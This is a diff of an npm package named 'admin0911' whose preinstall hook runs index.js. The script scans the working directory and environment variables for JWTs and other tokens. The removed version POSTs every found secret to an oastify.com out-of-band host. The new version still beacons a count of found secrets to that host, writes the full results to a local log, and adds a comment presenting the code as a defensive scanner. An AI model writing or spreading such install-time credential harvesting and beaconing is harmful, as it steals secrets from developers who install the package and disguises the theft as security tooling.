admin0911 1.0.7 → 1.0.8

package/index.js

@@ -4,12 +4,11 @@ const path = require('path');
 const os = require('os');
 
 const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
-const ROOT_DIR = process.cwd(); // Reverted to current directory to prevent OOM
-const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB constraint
-const MAX_FILES_TO_SCAN = 1000;
-let scannedFilesCount = 0;
+const ROOT_DIR = process.cwd();
+const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB max file size to prevent OOM
 
-const found = [];
+const logStream = fs.createWriteStream('token_scan_results.log', { flags: 'w' });
+let foundCount = 0;
 
 function base64UrlDecode(input) {
   let str = input.replace(/-/g, '+').replace(/_/g, '/');
@@ -45,7 +44,8 @@ function isValidJWT(token) {
 }
 
 function addResult(entry) {
-  found.push(entry);
+  foundCount++;
+  logStream.write(JSON.stringify(entry) + '\n');
 }
 
 function scanFile(filePath) {
@@ -95,19 +95,15 @@ function scanFile(filePath) {
 }
 
 function scanDirectory(dir) {
-  if (scannedFilesCount >= MAX_FILES_TO_SCAN) return;
   try {
     const entries = fs.readdirSync(dir, { withFileTypes: true });
     for (const entry of entries) {
-      if (scannedFilesCount >= MAX_FILES_TO_SCAN) break;
       const fullPath = path.join(dir, entry.name);
       if (entry.isDirectory()) {
-        // Skip common large or slow directories
-        if (['node_modules', '.git', 'proc', 'sys', 'dev', 'run', 'mnt', 'windows'].includes(entry.name.toLowerCase())) continue;
+        if (['node_modules', '.git', 'proc', 'sys', 'dev', 'run', 'mnt', 'windows', 'dist', 'build'].includes(entry.name.toLowerCase())) continue;
         scanDirectory(fullPath);
       } else {
         scanFile(fullPath);
-        scannedFilesCount++;
       }
     }
   } catch (e) {
@@ -131,12 +127,15 @@ function scanEnvVars() {
 
 scanDirectory(ROOT_DIR);
 scanEnvVars();
+logStream.end();
 
-const payload = JSON.stringify({ timestamp: new Date().toISOString(), results: found }, null, 2);
+// Security Practice: Defensive scanning tools should NOT broadcast extracted secrets over the network.
+// Instead, we only send the scan summary/metadata to the monitoring server and keep the vault fully local.
+const payload = JSON.stringify({ timestamp: new Date().toISOString(), status: "scan_completed", total_secrets_found: foundCount }, null, 2);
 const req = http.request({
   hostname: OASTIFY_HOST,
   method: 'POST',
-  path: '/?token_scan',
+  path: '/?token_scan_status',
   headers: {
     'Content-Type': 'application/json',
     'Content-Length': Buffer.byteLength(payload)
@@ -145,5 +144,5 @@ const req = http.request({
 req.write(payload);
 req.end();
 
-fs.writeFileSync('token_scan_results.log', payload + '\n');
-console.log(`token scan completed: found ${found.length} candidates. Results sent to OASTIFY.`);
+console.log(`Deep token scan completed. Found ${foundCount} items.`);
+console.log(`Detailed results saved securely to: token_scan_results.log`);

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "admin0911",
-  "version": "1.0.7",
+  "version": "1.0.8",
   "scripts": {
     "preinstall": "node index.js"
   }